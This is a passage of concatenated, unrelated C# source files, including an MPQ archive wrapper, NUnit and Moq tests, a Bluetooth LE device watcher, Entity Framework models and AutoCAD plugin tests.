internal const int MAFA_REPLACE_EXISTING = 0x00000001; //If file already exists, it will be replaced
}
public class Archive
{
[DllImport("SFmpq.dll", EntryPoint = "MpqCompactArchive")]
public static extern bool Compact(int hMPQ);
public static int Open(string fileName)
{
int ret = -1;
int result = -1;
if (ShadowFlare.ArchiveOpen(fileName, 0, 0, ref result))
ret = result;
return ret;
}
public static void Close(int hMPQ)
{
ShadowFlare.ArchiveClose(hMPQ);
}
public static List<string> ListFile(int hMPQ)
{
return File.ReadScript("(listfile)", hMPQ);
}
public static int OpenForUdate(string fileName)
{
return ShadowFlare.OpenArchiveForUpdate(fileName, 0x20, 8192);
}
public static bool AddFile(string source, string dest, int hMPQ)
{
return ShadowFlare.AddFile(hMPQ, source, dest, ArchiveFlag.MAFA_REPLACE_EXISTING + ArchiveFlag.MAFA_COMPRESS);
}
}
public class File
{
public static byte[] Read(string fileName, int hMPQ)
{
int hFile = -1;
if (ShadowFlare.OpenFile(fileName, ref hFile))
{
uint fileSizeHigh = 0;
uint fileSize = ShadowFlare.FileSize(hFile, ref fileSizeHigh);
if ((fileSizeHigh == 0) && (fileSize > 0))
{
byte[] result = new byte[fileSize];
uint countRead = 0;
ShadowFlare.ReadFile(hFile, result, fileSize, ref countRead, 0);
ShadowFlare.CloseFile(hFile);
return result;
}
}
return null;
}
public static byte[] Read(string fileName, int hMPQ, bool externalFile)
{
if (externalFile)
return System.IO.File.ReadAllBytes(fileName);
else
return Read(fileName, hMPQ);
}
public static List<string> ReadScript(string fileName, int hMPQ)
{
byte[] bytes = Read(fileName, hMPQ);
if (null != bytes)
{
StreamReader stream = new StreamReader(new MemoryStream(bytes));
List<string> list = new List<string>();
string line = stream.ReadLine();
while (line != null)
{
list.Add(line);
line = stream.ReadLine();
}
stream.Dispose();
return list;
}
return null;
}
public static List<string> ReadScript(byte[] bytes)
{
if (null != bytes)
{
StreamReader stream = new StreamReader(new MemoryStream(bytes));
List<string> list = new List<string>();
string line = stream.ReadLine();
while (line != null)
{
list.Add(line);
line = stream.ReadLine();
}
stream.Dispose();
return list;
}
return null;
}
public static void WriteScript(List<string> script, string fileName, int hMPQ)
{
string tempPath = Settings.FOLDER_PATH + @"temp\";
if (!Directory.Exists(tempPath))
Directory.CreateDirectory(tempPath);
System.IO.File.Create(tempPath + fileName).Dispose();
StreamWriter writer = new StreamWriter(tempPath + fileName);
foreach (string line in script)
writer.WriteLine(line);
writer.Dispose();
Archive.AddFile(tempPath + fileName, fileName, hMPQ);
System.IO.File.Delete(tempPath + fileName);
}
public static void Export(string fileName, string targetpath, int hMPQ)
{
if (!System.IO.File.Exists(targetpath))
System.IO.File.Create(targetpath).Dispose();
System.IO.File.WriteAllBytes(targetpath, Read(fileName, hMPQ));
}
public static float Size(string fileName, int hMPQ)
{
uint fileSize = 0;
int hFile = -1;
if (ShadowFlare.OpenFile(fileName, ref hFile))
{
uint fileSizeHigh = 0;
fileSize = ShadowFlare.FileSize(hFile, ref fileSizeHigh);
}
return Convert.ToSingle(fileSize) / 1000f;
}
public static string SizeAsString(string fileName, int hMPQ)
{
float result = Size(fileName, hMPQ);
if (result < 1000f)
return Size(fileName, hMPQ).ToString() + " KB";
else if (result >= 1000f)
return (Size(fileName, hMPQ) / 1000f).ToString().Substring(0, 5) + " MB";
return "";
}
public static string GetType(string filename)
{
if (filename.ToLower().Contains(".mdx") || filename.ToLower().Contains(".mdl"))
return "Model";
else if (filename.ToLower().Contains(".blp"))
return "Texture";
else if (filename.ToLower().Contains(".j"))
return "Script";
else if (filename.ToLower().Contains(".ai"))
return "AI Script";
else if (filename.ToLower().Contains(".mp3") || filename.ToLower().Contains(".wav"))
return "Sound / Music";
else if (filename.ToLower().Contains(".txt"))
return "Text";
return "Other";
}
}
}
} |
using System;
using System.Collections.Generic;
using Moq;
using MvcMonitor.Data.Providers;
using MvcMonitor.Data.Repositories;
using MvcMonitor.Models;
using NUnit.Framework;
namespace MvcMonitor.Tests.Providers.IndexProviderTests
{
[TestFixture]
[Category("Core")]
public class GetErrorsTests
{
private Mock<IErrorRepositoryFactory> _mockErrorRepositoryFactory;
private int _pageNumber;
private int _pageSize;
private Mock<IErrorRepository> _mockErrorRepository;
[SetUp]
public void WhenGettingPagedErrorsForTheIndex()
{
_pageNumber = 4;
_pageSize = 20;
_mockErrorRepository = new Mock<IErrorRepository>();
_mockErrorRepository
.Setup( repo => repo.GetPaged(It.IsAny<int>(), It.IsAny<int>(), It.IsAny<DateTime?>(), It.IsAny<DateTime?>(),
It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()))
.Returns(new PagedList<ErrorModel>(0, 1, 100, new List<ErrorModel>()));
_mockErrorRepositoryFactory = new Mock<IErrorRepositoryFactory>();
_mockErrorRepositoryFactory
.Setup(factory => factory.GetRepository())
.Returns(_mockErrorRepository.Object);
var provider = new IndexProvider(_mockErrorRepositoryFactory.Object);
provider.GetErrors(_pageNumber, _pageSize, DateTime.Now.AddHours(-10), DateTime.Now, "lsndfsdf", "ksdfsdf", "ksffdf");
}
[Test]
public void ThenTheRepositoryIsCreated()
{
_mockErrorRepositoryFactory.Verify(repo => repo.GetRepository());
}
[Test]
public void ThenTheRepositoryFetchesTheErrorsWithCorrectStartIndexAndPageSize()
{
var expectedStartIndex = (_pageNumber - 1)*_pageSize;
_mockErrorRepository.Verify(repo => repo.GetPaged(expectedStartIndex, _pageSize,
It.IsAny<DateTime?>(), It.IsAny<DateTime?>(), It.IsAny<string>(), It.IsAny<string>(), It.IsAny<string>()));
}
}
}
|
using Microsoft.EntityFrameworkCore;
using SafeSpace.core.Data;
using SafeSpace.core.Views;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace SafeSpace.domain.Services
{
public class AppUserRatingService
{
private readonly SafeSpaceContext _context;
public AppUserRatingService(SafeSpaceContext context)
{
_context = context;
}
public RatingView GetRating(long id, string category)
{
var riskdefinitions = _context.RiskDefinitions.Where(i => i.Category == category).ToList();
decimal rating = CalculateRating(id, category);
string risklevel = riskdefinitions.FirstOrDefault(rd => rd.RatingStart <= rating && rd.RatingEnd > rating).Description;
return new RatingView { AppUserId = id, Rating = rating, Risk = risklevel };
}
public RatingView GetContactRating(long id, string category)
{
var riskdefinitions = _context.RiskDefinitions.Where(i => i.Category == category).ToList();
decimal rating = 0;
var contactlist = _context.AppUserContacts.Where(c => c.AppUserId == id).ToList();
foreach (var contact in contactlist)
{
rating += CalculateRating(contact.ContactAppUserId, category);
}
string risklevel = riskdefinitions.FirstOrDefault(rd => rd.RatingStart <= rating && rd.RatingEnd > rating).Description;
return new RatingView { AppUserId = id, Rating = rating, Risk = risklevel };
}
private decimal CalculateRating(long id, string category)
{
var definitionDict = _context.ReportItemDefinitions.Where(i => i.Category == category).ToDictionary(i => i.Id);
var appUserReport = _context.AppUserReports.Include(r => r.AppUserReportItemDetails).FirstOrDefault(r => r.AppUserId == id && r.Category == category);
decimal rating = 0;
foreach (var item in appUserReport.AppUserReportItemDetails)
{
var definition = definitionDict[item.ItemDefinitionId];
switch (definition.DefinitionType)
{
case "bool":
rating += item.BoolValue == null ? definition.NotReportedRating : (item.BoolValue.Value ? definition.Rating : 0);
break;
case "number":
decimal overreport = item.IntValue == null ? 0 : item.IntValue.Value % definition.Scale;
rating = rating + (item.IntValue == null ? definition.NotReportedRating : (((decimal)1 - ((decimal)(item.IntValue.Value - overreport) / (decimal)definition.Scale)) * (decimal)definition.Rating));
break;
}
}
return rating;
}
}
}
|
using UnityEngine;
using RPG.Resources;
namespace RPG.Combat
{
[RequireComponent(typeof(Health))]
public class CombatTarget : MonoBehaviour
{
// CombatTarget is only a classifier and should have no code
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
namespace Compilify.Web.Controllers
{
public class ErrorController : Controller
{
public ActionResult Index(int? status)
{
var codes = Enum.GetValues(typeof (HttpStatusCode)).Cast<int>();
var httpCode = status.HasValue
? (int?)codes.FirstOrDefault(c => c == status.Value) ?? 500
: 500;
// insure response is the right code
Response.StatusCode = httpCode;
switch (httpCode) {
case 404:
ViewBag.Message = "The page you were looking for could not be found.";
break;
default:
ViewBag.Message = "An error occurred while processing your request.";
break;
}
return View("Error");
}
}
}
|
using TreeStore.Messaging;
using System;
using System.Collections.Generic;
namespace TreeStore.Model
{
public class TrackingModelController : ModelController
{
private readonly HashSet<Guid> trackedTags = new HashSet<Guid>();
private readonly HashSet<Guid> trackedEntities = new HashSet<Guid>();
private readonly HashSet<Guid> trackedRelationships = new HashSet<Guid>();
public TrackingModelController(TreeStoreModel model)
: base(model)
{ }
#region Track Tags
public IEnumerable<Guid> TrackedTags => this.trackedTags;
public bool ContainsTag(Tag tag) => this.trackedTags.Contains(tag.Id);
public Action<Tag>? TagAdded { private get; set; }
#endregion Track Tags
#region Track Entities
public IEnumerable<Guid> TrackedEntities => this.trackedEntities;
public bool ContainsEntity(Guid entityId) => this.trackedEntities.Contains(entityId);
public Action<Entity>? EntityAdded { private get; set; }
#endregion Track Entities
#region Track Relationships
public IEnumerable<Guid> TrackedRelationships => this.trackedRelationships;
public bool ContainsRelationship(Guid relationshipId) => this.trackedRelationships.Contains(relationshipId);
public Action<Relationship>? RelationshipAdded { private get; set; }
#endregion Track Relationships
#region Observe Tags
protected override void OnChangingTag(Tag tag)
{
if (trackedTags.Contains(tag.Id))
base.OnChangingTag(tag);
else
this.OnAddedTag(tag);
this.trackedTags.Add(tag.Id);
}
private void OnAddedTag(Tag tag) => this.TagAdded?.Invoke(tag);
protected override void OnRemovingTag(Guid tagId)
{
if (this.trackedTags.Contains(tagId))
base.OnRemovingTag(tagId);
this.trackedTags.Remove(tagId);
}
#endregion Observe Tags
#region Observe Entities
protected override void OnEntityChanging(Entity entity)
{
if (this.trackedEntities.Contains(entity.Id))
base.OnEntityChanging(entity);
else
this.OnEntityAdding(entity);
this.trackedEntities.Add(entity.Id);
}
protected virtual void OnEntityAdding(Entity entity) => this.EntityAdded?.Invoke(entity);
protected override void OnEntityRemoving(Guid entityId)
{
if (this.trackedEntities.Contains(entityId))
base.OnEntityRemoving(entityId);
this.trackedEntities.Remove(entityId);
}
#endregion Observe Entities
#region Observe Relationships
protected override void OnRelationshipChanging(Relationship changed)
{
if (this.trackedRelationships.Contains(changed.Id))
base.OnRelationshipChanging(changed);
else
this.OnRelationshipAdding(changed);
this.trackedRelationships.Add(changed.Id);
}
protected virtual void OnRelationshipAdding(Relationship relationship) => this.RelationshipAdded?.Invoke(relationship);
protected override void OnRelationshipRemoving(Guid relationshipId)
{
if (this.trackedRelationships.Contains(relationshipId))
base.OnRelationshipRemoving(relationshipId);
this.trackedRelationships.Remove(relationshipId);
}
#endregion Observe Relationships
}
} |
using Domen;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SystemOperations.ProizvodjacLekovaSO
{
public class FindProizvodjacSO : SystemOperationBase
{
protected override object ExecuteSO(IEntity entity)
{
ProizvodjacLekova proizvodjac = (ProizvodjacLekova)entity;
return broker.Select(proizvodjac).First();
}
}
}
|
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Threading.Tasks;
using Windows.Devices.Bluetooth;
using Windows.Devices.Bluetooth.Advertisement;
using Windows.Devices.Enumeration;
namespace BLEWindowsConsole.src.Models
{
public class GattSampleContext
{
private const string BatteryLevelGUID = "{995EF0B0-7EB3-4A8B-B9CE-068BB3F4AF69} 10";
private const string BluetoothDeviceAddress = "System.DeviceInterface.Bluetooth.DeviceAddress";
private const string DevNodeBTLEDeviceWatcherAQSString = "(System.Devices.ClassGuid:=\"{e0cbf06c-cd8b-4647-bb8a-263b43f0f974}\")";
/// <summary>
/// Device watcher used to find bluetooth device dev nodes
/// </summary>
private DeviceWatcher devNodeWatcher;
//All the bluetooth dev nodes on the system
private List<DeviceInformation> devNodes = new List<DeviceInformation>();
///<summary>
///Gets the app context
///</summary>
public static GattSampleContext context; //This + <context = this> -> fixed BadImageFormatException: could not find or load assembly 'System.Runtime.WindowsRuntime'
/// <summary>
/// Device watcher used to find bluetooth devices
/// </summary>
private DeviceWatcher deviceWatcher;
/// <summary>
/// AQS search string used to find bluetooth devices
/// </summary>
private const string BTLEDeviceWatcherAQSString = "(System.Devices.Aep.ProtocolId:=\"{bb7bb05e-5972-42b5-94fc-76eaa7084d49}\")";
/// <summary>
/// Advertisement watcher used to find bluetooth devices
/// </summary>
private BluetoothLEAdvertisementWatcher advertisementWatcher;
//Gets or sets the selected Bluetooth device
public ObservableBLEDevice SelectedBLEDevice { get; set; } = null;
// Gets or sets the list of available Bluetooth devices
public ObservableCollection<ObservableBLEDevice> BLEDevices { get; set; } = new ObservableCollection<ObservableBLEDevice>();
//Context for the entire app. This is where all app wide variables are stored
public GattSampleContext()
{
context = this;
Init();
}
//Initializes the app context
private async void Init()
{
BluetoothAdapter adapter = await BluetoothAdapter.GetDefaultAsync(); //### TODO: handle this exception when adapter==null -> try reconnecting again!?
if (adapter == null)
{
Console.WriteLine("Error getting access to Bluetooth adapter. Do you have Bluetooth enabled?");
}
string[] requestedProperties =
{
BatteryLevelGUID,
BluetoothDeviceAddress
};
devNodeWatcher =
DeviceInformation.CreateWatcher(
DevNodeBTLEDeviceWatcherAQSString,
requestedProperties,
DeviceInformationKind.Device
);
devNodeWatcher.Added += DevNodeWatcher_Added;
devNodeWatcher.Start();
return;
}
private async void DevNodeWatcher_Added(DeviceWatcher sender, DeviceInformation args)
{
devNodes.Add(args);
Console.WriteLine("DevNodeWatcher_Added: " + args.Kind + " " + args.Name + " " + args.Pairing + " " + args.Properties);
}
public void StartEnumeration()
{
string[] requestedProperties =
{
"System.Devices.Aep.Category",
"System.Devices.Aep.ContainerId",
"System.Devices.Aep.DeviceAddress",
"System.Devices.Aep.IsConnected",
"System.Devices.Aep.IsPaired",
"System.Devices.Aep.IsPresent",
"System.Devices.Aep.ProtocolId",
"System.Devices.Aep.Bluetooth.Le.IsConnectable",
"System.Devices.Aep.SignalStrength"
};
deviceWatcher =
DeviceInformation.CreateWatcher(
BTLEDeviceWatcherAQSString,
requestedProperties,
DeviceInformationKind.AssociationEndpoint);
// Register event handlers
deviceWatcher.Added += DeviceWatcher_Added;
advertisementWatcher = new BluetoothLEAdvertisementWatcher();
advertisementWatcher.Received += AdvertisementWatcher_Received;
BLEDevices.Clear();
deviceWatcher.Start();
advertisementWatcher.Start();
}
// Stop enumeration of bluetooth devices
public void StopEnumeration()
{
if (deviceWatcher != null)
{
//Unregister the event handlers
deviceWatcher.Added -= DeviceWatcher_Added;
advertisementWatcher.Received -= AdvertisementWatcher_Received;
//Stop the watchers
deviceWatcher.Stop();
deviceWatcher = null;
advertisementWatcher.Stop();
advertisementWatcher = null;
}
}
private async void DeviceWatcher_Added( DeviceWatcher sender, DeviceInformation deviceInfo)
{
try
{
if(sender == deviceWatcher)
{
await AddDeviceToList(deviceInfo);
}
}
catch( Exception ex)
{
Console.WriteLine("DeviceWatcher_Added: " + ex.Message);
}
}
// Adds the new device to the displayed list
private async Task AddDeviceToList( DeviceInformation deviceInfo)
{
ObservableBLEDevice device = new ObservableBLEDevice(deviceInfo);
//Need to lock as another DeviceWatcher might be modifying BluetoothLEDevices - ///////Not implemented
if( !BLEDevices.Contains( device ))
{
BLEDevices.Add(device);
Console.WriteLine("AddDeviceToList: " + device.bluetoothAddressAsString + " " + device.name);
}
}
// Updates device metadata based on advertisement received
private async void AdvertisementWatcher_Received( BluetoothLEAdvertisementWatcher sender, BluetoothLEAdvertisementReceivedEventArgs args)
{
try
{
foreach( ObservableBLEDevice d in BLEDevices)
{
if( d.bluetoothAddressAsUlong == args.BluetoothAddress)
{
d.serviceCount = args.Advertisement.ServiceUuids.Count();
IList<BluetoothLEAdvertisementDataSection> bleAdDataSections = args.Advertisement.DataSections;
foreach( BluetoothLEAdvertisementDataSection dataSection in bleAdDataSections)
{
Console.WriteLine("AdvertisementWatcher_Received: " + dataSection.Data + " " + dataSection.DataType + " " + args.Advertisement.Flags.GetValueOrDefault() );
}
}
}
}
catch( Exception ex)
{
Console.WriteLine("AdvertisementWatcher_Received: " + ex.Message);
}
}
public ObservableBLEDevice GetAvailableBLEDeviceByName( string name )
{
foreach( ObservableBLEDevice device in BLEDevices)
{
if( device.name == name)
{
Console.WriteLine("GetAvailableBLEDeviceByName: device found successfully");
return device;
}
}
return null;
}
}
} |
using System;
using FluentAssertions;
using NUnit.Framework;
using PSPatcher.Core.AstExtensions.CSharp;
using PSPatcher.Core.AstExtensions.PS;
namespace PSPatcher.Tests.AstExtensionsTests.CSharpTests
{
[TestFixture]
public class CSharpClassAst_Tests
{
private CSharpClassAst csharpClass;
public CSharpClassAst_Tests() : base()
{
}
[SetUp]
public void SetUp()
{
csharpClass = TestCSharpParser.Parse(@"
public class Foo
{
public string First()
{
}
public string Second()
{
}
}
");
}
[Test]
public void GetClassName_should_get_name()
{
var name = csharpClass.GetClassName();
name.Should().Be("Foo");
}
[Test]
public void test()
{
csharpClass.AddMethod("public int Mul(int a, int b){return a* b;}");
Console.WriteLine(csharpClass.GetText());
TestCSharpParser.PsScriptAst.PatchCSharpCode(csharpClass.GetText(), csharpClass.Ast);
Console.WriteLine(TestCSharpParser.PsScriptAst.GetText());
}
}
} |
using System.ComponentModel.DataAnnotations.Schema;
namespace Web.Models
{
public class CourseTemplate : Product
{
public string Note { get; set; }
public string OverView { get; set; }
[ForeignKey("CourseLevel")]
public int CourseLevelId { get; set; }
public CourseLevel CourseLevel { get; set; }
//For EF...
//public CourseTemplate()
//{
//}
//public Course(string title, decimal price, string description, string bigPicUrl, string smallPicUrl, bool isLive)
//{
// Title = title;
// Price = price;
// Description = description;
// BigPicUrl = bigPicUrl;
// SmallPicUrl = smallPicUrl;
// IsLive = isLive;
//}
//public Course(string title, decimal price, string description, string bigPicUrl, string smallPicUrl, bool isLive, ProductMaker productMaker, ProductType productType, string note, string overView, CourseLevel courseLevel, CourseCategory category)
//{
// Title = title;
// Price = price;
// Description = description;
// BigPicUrl = bigPicUrl;
// SmallPicUrl = smallPicUrl;
// IsLive = isLive;
// ProductMaker = productMaker;
// ProductType = productType;
// OverView = overView;
// CourseLevel = courseLevel;
// Note = note;
// CourseCategory = category;
//}
}
} |
using System;
namespace Paydock.SDK.Entities
{
public class BankCard
{
public Int32 CCV { get; set; }
public String Name { get; set; }
public String Number { get; set; }
public Int32 ExpireMonth { get; set; }
public Int32 ExpireYear { get; set; }
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using E_Commerce.Models.Helper;
namespace E_Commerce.CF
{
public class Converter
{
public static UserNameSurname ToUserNameSurname(dynamic ToConvert)
{
UserNameSurname ToSend = new UserNameSurname();
ToSend.Name = ToConvert.Name;
ToSend.Surname = ToConvert.Surname;
return ToSend;
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Academy.Models
{
public static class Database
{
//public static List<Teacher> teachers { get; set; }
//public static List<Student> students { get; set; }
public static List<Teacher> teachers = new List<Teacher>();
public static List<Student> students = new List<Student>();
//static Database()
//{
// teachers = new List<Teacher>()
// {
// new Teacher()
// {
// name = "Osman DURDAĞ",
// gender = 1,
// degree = "PROF.",
// majors_branch = "Bilgisayar Mühendisliği",
// e_mail = "asd@asd.com",
// registration_no = 1,
// registration_year = 2020,
// telephone = "+444444440123",
// lessons = new List<Lesson>()
// {
// new Lesson()
// {
// id = 1,
// lesson_name = "Yapay Sinir Ağları"
// },
// new Lesson()
// {
// id = 2,
// lesson_name = "Görüntü İşleme"
// },
// new Lesson()
// {
// id = 3,
// lesson_name = "Yapay Zeka"
// }
// }
// },
// new Teacher()
// {
// name = "2. Öğretmen",
// gender = 0,
// degree = "Doç.",
// majors_branch = "Bilgisayar Mühendisliği",
// e_mail = "asdfg@asdgf.com",
// registration_no = 2,
// registration_year = 2020,
// telephone = "+999990123",
// lessons = new List<Lesson>()
// {
// new Lesson()
// {
// id = 4,
// lesson_name = "Matematik II"
// },
// new Lesson()
// {
// id = 5,
// lesson_name = "Diferansiyel Denklemler"
// },
// }
// }
// };
// students = new List<Student>()
// {
// new Student(){
// student_no = 12345,
// name = "1. Öğrenci",
// gender = 0,
// e_mail = "student@student.com",
// telephone = "afdf+++234234",
// lessons = new List<Lesson>()
// {
// new Lesson()
// {
// id = 1,
// lesson_name = "Yapay Sinir Ağları",
// },
// new Lesson()
// {
// id = 3,
// lesson_name = "Yapay Zeka",
// },
// new Lesson()
// {
// id = 4,
// lesson_name = "Matematik II",
// }
// }
// },
// new Student(){
// student_no = 555222,
// name = "2. Öğrenci",
// gender = 1,
// e_mail = "student2@student2.com",
// telephone = "3366554411",
// lessons = new List<Lesson>()
// {
// new Lesson()
// {
// id = 2,
// lesson_name = "Görüntü İşleme",
// },
// new Lesson()
// {
// id = 3,
// lesson_name = "Yapay Zeka",
// },
// new Lesson()
// {
// id = 5,
// lesson_name = "Diferansiyel Denklemler",
// }
// }
// }
// };
//}
//public static List<Teacher> TeacherList
//{
// get { return teachers; }
//}
//public static List<Student> StudentList
//{
// get { return students; }
//}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using Autodesk.AutoCAD.Runtime;
using Autodesk.AutoCAD.EditorInput;
using Autodesk.AutoCAD.ApplicationServices;
using FormsApplication = System.Windows.Forms.Application;
using CADApplication = Autodesk.AutoCAD.ApplicationServices.Application;
using NUnit.Framework;
using NUnit.Util.ArxNet;
using NUnit.Gui;
using NUnit.Gui.ArxNet;
using NUnit.Core;
using NUnit.Util;
using NUnit.UiKit;
using Com.Utility.UnitTest;
namespace NUnit.Gui.ArxNet.Tests
{
[TestFixture]
public class NUnitPresenterArxNetTests
{
NUnitPresenterArxNet nUnitPresenterArxNet = null;
private NUnitPresenterArxNet NewPresenter(bool form_loader_null)
{
NUnitPresenterArxNet presenter = null;
if (form_loader_null)
{
presenter = new NUnitPresenterArxNet(null, null);
}
else
{
NUnitFormArxNet form = new NUnitFormArxNet(new GuiOptionsArxNet(new string[0]));
TestLoaderArxNet loader = new TestLoaderArxNet();
presenter = new NUnitPresenterArxNet(form, loader);
}
return presenter;
}
[SetUp]
public void SetUp()
{
}
[TearDown]
public void TearDown()
{
}
//public void AddAssembly(string configName)
[Test]
[Category("AddAssembly")]
public void AddAssembly()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.AddAssembly();
TestLoaderArxNet loader = UnitTestHelper.GetNonPublicField(nUnitPresenterArxNet, "loader") as TestLoaderArxNet;
ProjectConfig config = loader.TestProject.ActiveConfig;
if (config.Assemblies !=null && config.Assemblies.Count > 0)
{
string assembly = config.Assemblies[config.Assemblies.Count - 1];
CADApplication.ShowAlertDialog("添加的程序集为:" + assembly);
}
else
CADApplication.ShowAlertDialog("没添加程序集!");
}
[Test]
[Category("AddAssembly")]
public void AddAssembly_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.AddAssembly();
}
//public void AddToProject(string configName)
[Test]
[Category("AddToProject")]
public void AddToProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
ServicesArxNet.UserSettings.SaveSetting("Options.TestLoader.VisualStudioSupport", true);
nUnitPresenterArxNet.AddToProject("Debug");
TestLoaderArxNet loader = UnitTestHelper.GetNonPublicField(nUnitPresenterArxNet, "loader") as TestLoaderArxNet;
NUnitProject project = loader.TestProject;
ProjectConfig config = project.Configs[project.Configs.Count - 1];
if (config.Assemblies !=null && config.Assemblies.Count > 0)
{
string assembly = config.Assemblies[config.Assemblies.Count - 1];
CADApplication.ShowAlertDialog("最后一个程序集为:" + assembly);
}
else
CADApplication.ShowAlertDialog("没添加程序集!");
CADApplication.ShowAlertDialog("最后一个项目文件:" + config.ConfigurationFilePath);
}
[Test]
[Category("AddToProject")]
public void AddToProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.AddToProject();
}
//public void AddVSProject()
[Test]
[Category("AddVSProject")]
public void AddVSProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.AddVSProject();
TestLoaderArxNet loader = UnitTestHelper.GetNonPublicField(nUnitPresenterArxNet, "loader") as TestLoaderArxNet;
NUnitProject project = loader.TestProject;
ProjectConfig config = project.Configs[project.Configs.Count - 1];
CADApplication.ShowAlertDialog("添加的VS项目文件:" + config.ConfigurationFilePath);
}
[Test]
[Category("AddVSProject")]
public void AddVSProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.AddVSProject();
}
//private DialogResult SaveProjectIfDirty()
[Test]
[Category("SaveProjectIfDirty")]
public void SaveProjectIfDirty()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.AddAssembly();
DialogResult result = (DialogResult)UnitTestHelper.CallNonPublicMethod(nUnitPresenterArxNet, "SaveProjectIfDirty", null);
CADApplication.ShowAlertDialog("DialogResult:" + result);
}
[Test]
[Category("SaveProjectIfDirty")]
public void SaveProjectIfDirty_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
DialogResult result = (DialogResult)UnitTestHelper.CallNonPublicMethod(nUnitPresenterArxNet, "SaveProjectIfDirty", null);
CADApplication.ShowAlertDialog("DialogResult:" + result);
}
//public DialogResult CloseProject()
[Test]
[Category("CloseProject")]
public void CloseProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.AddAssembly();
DialogResult result = (DialogResult)nUnitPresenterArxNet.CloseProject();
CADApplication.ShowAlertDialog("DialogResult:" + result);
}
[Test]
[Category("CloseProject")]
public void CloseProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
DialogResult result = (DialogResult)nUnitPresenterArxNet.CloseProject();
CADApplication.ShowAlertDialog("DialogResult:" + result);
}
//public void EditProject()
[Test]
[Category("EditProject")]
public void EditProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.AddAssembly();
nUnitPresenterArxNet.EditProject();
}
[Test]
[Category("EditProject")]
public void EditProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.EditProject();
}
//public void NewProject()
[Test]
[Category("NewProject")]
public void NewProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
}
[Test]
[Category("NewProject")]
public void NewProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.NewProject();
}
// public void OpenProject()
[Test]
[Category("OpenProject")]
public void OpenProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.OpenProject();
}
[Test]
[Category("OpenProject")]
public void OpenProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.OpenProject();
}
//public void ReloadProject()
[Test]
[Category("ReloadProject")]
public void ReloadProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.ReloadProject();
}
[Test]
[Category("ReloadProject")]
public void ReloadProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.ReloadProject();
}
//public void SaveLastResult()
[Test]
[Category("SaveLastResult")]
public void SaveLastResult()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.AddAssembly();
TestLoaderArxNet loader = UnitTestHelper.GetNonPublicField(nUnitPresenterArxNet, "loader") as TestLoaderArxNet;
loader.LoadTest();
loader.RunTests();
nUnitPresenterArxNet.SaveLastResult();
}
[Test]
[Category("SaveLastResult")]
public void SaveLastResult_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.SaveLastResult();
}
//public void SaveProject()
[Test]
[Category("SaveProject")]
public void SaveProject()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.SaveProject();
}
[Test]
[Category("SaveProject")]
public void SaveProject_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.SaveProject();
}
//public void SaveProjectAs()
[Test]
[Category("SaveProjectAs")]
public void SaveProjectAs()
{
nUnitPresenterArxNet = NewPresenter(false);
nUnitPresenterArxNet.NewProject();
nUnitPresenterArxNet.SaveProjectAs();
}
[Test]
[Category("SaveProjectAs")]
public void SaveProjectAs_form_loader_null()
{
nUnitPresenterArxNet = NewPresenter(true);
nUnitPresenterArxNet.SaveProjectAs();
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.Linq;
using KT.DTOs.Objects;
using KnowledgeTester.Helpers;
namespace KnowledgeTester.Models
{
public class QuestionModel
{
public QuestionModel(QuestionDto question, string subcategoryName)
{
Text = question.Text;
IsMultiple = question.MultipleResponse;
Id = question.Id;
SubcategoryName = subcategoryName;
CorrectArgument = question.Argument;
Answers = question.Answers.ToList().Select(ans => new AnswerModel(ans)).ToList();
}
public QuestionModel(string subcategoryName)
{
Answers = new List<AnswerModel>();
SubcategoryName = subcategoryName;
}
public QuestionModel()
{
}
[Required]
public string Text { get; set; }
public bool IsMultiple { get; set; }
public Guid Id { get; set; }
public string SubcategoryName { get; set; }
[Required]
public string CorrectArgument { get; set; }
[AnswerValidator(ErrorMessage = "Invalid list of answers")]
public List<AnswerModel> Answers { get; set; }
}
} |
using BenchmarkDotNet.Attributes;
